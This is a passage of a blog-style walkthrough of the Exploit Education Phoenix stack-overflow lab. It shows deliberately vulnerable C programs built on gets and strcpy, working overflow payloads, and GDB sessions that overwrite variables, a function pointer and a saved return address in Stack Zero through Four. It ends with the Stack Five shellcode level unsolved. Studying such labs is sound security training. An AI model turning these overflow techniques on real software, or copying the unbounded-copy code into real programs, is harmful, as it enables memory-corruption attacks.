Home Exploit Education - Phoenix Notes
Post
Cancel

Exploit Education - Phoenix Notes

Exploit Education Notes

The image can be downloaded from https://exploit.education/phoenix/, and can be extracted and executed using

1
2
3
tar xJf exploit-education-phoenix-amd64-v1.0.0-alpha-3.tar.xz
cd exploit-education-phoenix-amd64/
./boot-exploit-education-phoenix-amd64.sh

After running the QEMU image, you can ssh into the machine via ssh -p2222 user@localhost

Stack Zero

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
 * phoenix/stack-zero, by https://exploit.education
 *
 * The aim is to change the contents of the changeme variable.
 *
 * Scientists have recently discovered a previously unknown species of
 * kangaroos, approximately in the middle of Western Australia. These
 * kangaroos are remarkable, as their insanely powerful hind legs give them
 * the ability to jump higher than a one story house (which is approximately
 * 15 feet, or 4.5 metres), simply because houses can't can't jump.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  printf("%s\n", BANNER);

  locals.changeme = 0;
  gets(locals.buffer);

  if (locals.changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed!");
  } else {
    puts(
        "Uh oh, 'changeme' has not yet been changed. Would you like to try "
        "again?");
  }

  exit(0);
}

In the above code, a variable called buffer is initialized with 64 bytes, another locaal variable called change is also set. The gets function is then used to take user input and store it without any bounds checking, which can be exploited using a Buffer Overflow.

This can be exploited by inserting 65 characters to overflow the buffer variable.

1
2
3
4
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*65' | ./stack-zero
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
user@phoenix-amd64:/opt/phoenix/amd64$ 

Stack One

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
 * phoenix/stack-one, by https://exploit.education
 *
 * The aim is to change the contents of the changeme variable to 0x496c5962
 *
 * Did you hear about the kid napping at the local school?
 * It's okay, they woke up.
 *
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  printf("%s\n", BANNER);

  if (argc < 2) {
    errx(1, "specify an argument, to be copied into the \"buffer\"");
  }

  locals.changeme = 0;
  strcpy(locals.buffer, argv[1]);

  if (locals.changeme == 0x496c5962) {
    puts("Well done, you have successfully set changeme to the correct value");
  } else {
    printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
        locals.changeme);
  }

  exit(0);
}

strcpy is used which is dangerous because the source size could be more than destination size. In this challenge, the changeme value nees to be set with a specific value 0x496c5962

This can be triggered using a payload such as python -c 'print "A"*64 + "\x62\x59\x6c\x49"' which fills up the first 64 bytes with A and then sets the specific value 0x496c5962

1
2
3
4
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-one $(python -c 'print "A"*64 + "\x62\x59\x6c\x49"')
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
user@phoenix-amd64:/opt/phoenix/amd64$ 

Stack Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
 * phoenix/stack-two, by https://exploit.education
 *
 * The aim is to change the contents of the changeme variable to 0x0d0a090a
 *
 * If you're Russian to get to the bath room, and you are Finnish when you get
 * out, what are you when you are in the bath room?
 *
 * European!
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  char *ptr;

  printf("%s\n", BANNER);

  ptr = getenv("ExploitEducation");
  if (ptr == NULL) {
    errx(1, "please set the ExploitEducation environment variable");
  }

  locals.changeme = 0;
  strcpy(locals.buffer, ptr);

  if (locals.changeme == 0x0d0a090a) {
    puts("Well done, you have successfully set changeme to the correct value");
  } else {
    printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n",
        locals.changeme);
  }

  exit(0);
}

Same as the previous level, except user input is taken via an environment value.

1
ExploitEducation=$(python -c 'print "A"*64 + "\x0a\x09\x0a\x0d"')

Which then the stack-two program will take.

1
2
3
4
user@phoenix-amd64:/opt/phoenix/amd64$ ExploitEducation=$(python -c 'print "A"*64 + "\x0a\x09\x0a\x0d"') ./stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
user@phoenix-amd64:/opt/phoenix/amd64$ 

Stack Three

Stack Three looks at overwriting function pointers stored on the stack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*
 * phoenix/stack-three, by https://exploit.education
 *
 * The aim is to change the contents of the changeme variable to 0x0d0a090a
 *
 * When does a joke become a dad joke?
 *   When it becomes apparent.
 *   When it's fully groan up.
 *
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
  printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
  exit(0);
}

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int (*fp)();
  } locals;

  printf("%s\n", BANNER);

  locals.fp = NULL;
  gets(locals.buffer);

  if (locals.fp) {
    printf("calling function pointer @ %p\n", locals.fp);
    fflush(stdout);
    locals.fp();
  } else {
    printf("function pointer remains unmodified :~( better luck next time!\n");
  }

  exit(0);
}

This elf executable initializes the fp variable to NULL which is a pointer, and gets a string from user input, saves it to the buffer variable, fp is called later as a function with whateever value that is stored.

1
2
3
4
5
6
7
8
9
10
user@phoenix-amd64:/opt/phoenix/amd64$ export PYTHONIOENCODING=utf-8
user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q ./stack-three
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./stack-three...(no debugging symbols found)...done.
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128): 
(gdb) print complete_level
$1 = {<text variable, no debug info>} 0x40069d <complete_level>
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128): 

gdb can be used to print the address of the complete_level function (0x40069d). Our bof payload can now overwrite the 64 buffer characters and then that address can be used to jumpt to that function.

1
2
3
4
5
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*64 + "\x9d\x06\x40"' | ./stack-three
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x40069d
Congratulations, you've finished phoenix/stack-three :-) Well done!
user@phoenix-amd64:/opt/phoenix/amd64$ 

Stack Four

Stack Four takes a look at what can happen when you can overwrite the saved instruction pointer (standard buffer overflow).

Hints

The saved instruction pointer is not necessarily directly after the end of variable allocations – things like compiler padding can increase the size. Did you know that some architectures may not save the return address on the stack in all cases? GDB supports β€œrun < my_file” to direct input from my_file into the program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*
 * phoenix/stack-four, by https://exploit.education
 *
 * The aim is to execute the function complete_level by modifying the
 * saved return address, and pointing it to the complete_level() function.
 *
 * Why were the apple and orange all alone? Because the bananna split.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void complete_level() {
  printf("Congratulations, you've finished " LEVELNAME " :-) Well done!\n");
  exit(0);
}

void start_level() {
  char buffer[64];
  void *ret;

  gets(buffer);

  ret = __builtin_return_address(0);
  printf("and will be returning to %p\n", ret);
}

int main(int argc, char **argv) {
  printf("%s\n", BANNER);
  start_level();
}

To complete this level, you need to overwrite the return address of start_level function to return to complete_level function instead of main. By providing a buffer larger than 64 bytes, we can overflow the saved instruction pointer.

1
2
3
4
5
6
7
8
ser@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-four
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from stack-four...(no debugging symbols found)...done.
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128): 
(gdb) print complete_level
$1 = {<text variable, no debug info>} 0x40061d <complete_level>

The main() function can be disassembled to see which address will be stored on the stack after the start_level() function returns. The start_level() function can also be disassembled because I’d like to place a break point right after the gets() function is called. That way we can see the user input being stored on the stack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
user@phoenix-amd64:/opt/phoenix/amd64$ gdb stack-four
GNU gdb (GDB) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
71 commands loaded for GDB 8.2.1 using Python engine 3.5
[*] 2 commands could not be loaded, run `gef missing` to know why.
Reading symbols from stack-four...(no debugging symbols found)...done.
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128): 
(gdb) disas main
Dump of assembler code for function main:
   0x000000000040066a <+0>:     push   rbp
   0x000000000040066b <+1>:     mov    rbp,rsp
   0x000000000040066e <+4>:     sub    rsp,0x10
   0x0000000000400672 <+8>:     mov    DWORD PTR [rbp-0x4],edi
   0x0000000000400675 <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000400679 <+15>:    mov    edi,0x400750
   0x000000000040067e <+20>:    call   0x400480 <puts@plt>
   0x0000000000400683 <+25>:    mov    eax,0x0
   0x0000000000400688 <+30>:    call   0x400635 <start_level>
   0x000000000040068d <+35>:    mov    eax,0x0
   0x0000000000400692 <+40>:    leave  
   0x0000000000400693 <+41>:    ret    
End of assembler dump.
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128): 
(gdb) disas start_level
Dump of assembler code for function start_level:
   0x0000000000400635 <+0>:     push   rbp
   0x0000000000400636 <+1>:     mov    rbp,rsp
   0x0000000000400639 <+4>:     sub    rsp,0x50
   0x000000000040063d <+8>:     lea    rax,[rbp-0x50]
   0x0000000000400641 <+12>:    mov    rdi,rax
   0x0000000000400644 <+15>:    call   0x400470 <gets@plt>
   0x0000000000400649 <+20>:    mov    rax,QWORD PTR [rbp+0x8]
   0x000000000040064d <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400651 <+28>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400655 <+32>:    mov    rsi,rax
   0x0000000000400658 <+35>:    mov    edi,0x400733
   0x000000000040065d <+40>:    mov    eax,0x0
   0x0000000000400662 <+45>:    call   0x400460 <printf@plt>
   0x0000000000400667 <+50>:    nop
   0x0000000000400668 <+51>:    leave  
   0x0000000000400669 <+52>:    ret    
End of assembler dump.
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128): 
(gdb) 

The disassembly of the main() function shows that after the start_level() function returns, it will be execution at the address 0x0040068d. That can be examined in the stack. A break point can also be set at 0x400649 to verify this.

The β€œbuffer” variable with 64 characters. This can be filled with characters.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) b *0x0000000000400649
Breakpoint 1 at 0x400649
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128): 
(gdb) run <<< $(python -c 'print "A" + "B"*62 + "C"')
Starting program: /opt/phoenix/amd64/stack-four <<< $(python -c 'print "A" + "B"*62 + "C"')
/bin/bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
Welcome to phoenix/stack-four, brought to you by https://exploit.education

Breakpoint 1, 0x0000000000400649 in start_level ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffe510  β†’  "ABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
$rbx   : 0x00007fffffffe5d8  β†’  0x00007fffffffe801  β†’  "/opt/phoenix/amd64/stack-four"
$rcx   : 0x8080808080808080


(gdb) x/24x $sp
0x7fffffffe510: 0x42424241      0x42424242      0x42424242      0x42424242
0x7fffffffe520: 0x42424242      0x42424242      0x42424242      0x42424242
0x7fffffffe530: 0x42424242      0x42424242      0x42424242      0x42424242
0x7fffffffe540: 0x42424242      0x42424242      0x42424242      0x43424242
0x7fffffffe550: 0xffff0000      0x00007fff      0xffffe580      0x00007fff
0x7fffffffe560: 0xffffe580      0x00007fff      0x0040068d      0x00000000
1
2
3
4
5
6
7
8
9
10
(gdb) info frame
Stack level 0, frame at 0x7fffffffe570:
 rip = 0x400649 in start_level; saved rip = 0x40068d
 called by frame at 0x7fffffffe590
 Arglist at 0x7fffffffe560, args: 
 Locals at 0x7fffffffe560, Previous frame's sp is 0x7fffffffe570
 Saved registers:
  rbp at 0x7fffffffe560, rip at 0x7fffffffe568
Python Exception <class 'UnicodeEncodeError'> 'ascii' codec can't encode character '\u27a4' in position 12: ordinal not in range(128): 
(gdb) 
  • The return address care about is 0x0040068d
  • This is at memory location 0x7fffffffe568
  • start of the β€œbuffer” variable is at 0x7fffffffe510.

Gdb can be used to calculate how many bytes difference is between the return address and the buffer variable location.

1
2
(gdb) printf "%i\n", 0x7fffffffe568 - 0x7fffffffe510
88

This can now be used to complete the level.

1
2
3
4
5
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A"*88 + "\x1d\x06\x40"' | ./stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x40061d
Congratulations, you've finished phoenix/stack-four :-) Well done!
user@phoenix-amd64:/opt/phoenix/amd64$ 

Stack Five

As opposed to executing an existing function in the binary, this time we’ll be introducing the concept of β€œshell code”, and being able to execute our own code.

Hints

  • Don’t feel like you have to write your own shellcode just yet – there’s plenty on the internet.
  • If you wish to debug your shellcode, be sure to make use of the breakpoint instruction. On i386 / x86_64, that’s 0xcc, and will cause a SIGTRAP.
  • Make sure you remove those breakpoints after you’re done.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
 * phoenix/stack-five, by https://exploit.education
 *
 * Can you execve("/bin/sh", ...) ?
 *
 * What is green and goes to summer camp? A brussel scout.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void start_level() {
  char buffer[128];
  gets(buffer);
}

int main(int argc, char **argv) {
  printf("%s\n", BANNER);
  start_level();
}
This post is licensed under CC BY 4.0 by the author.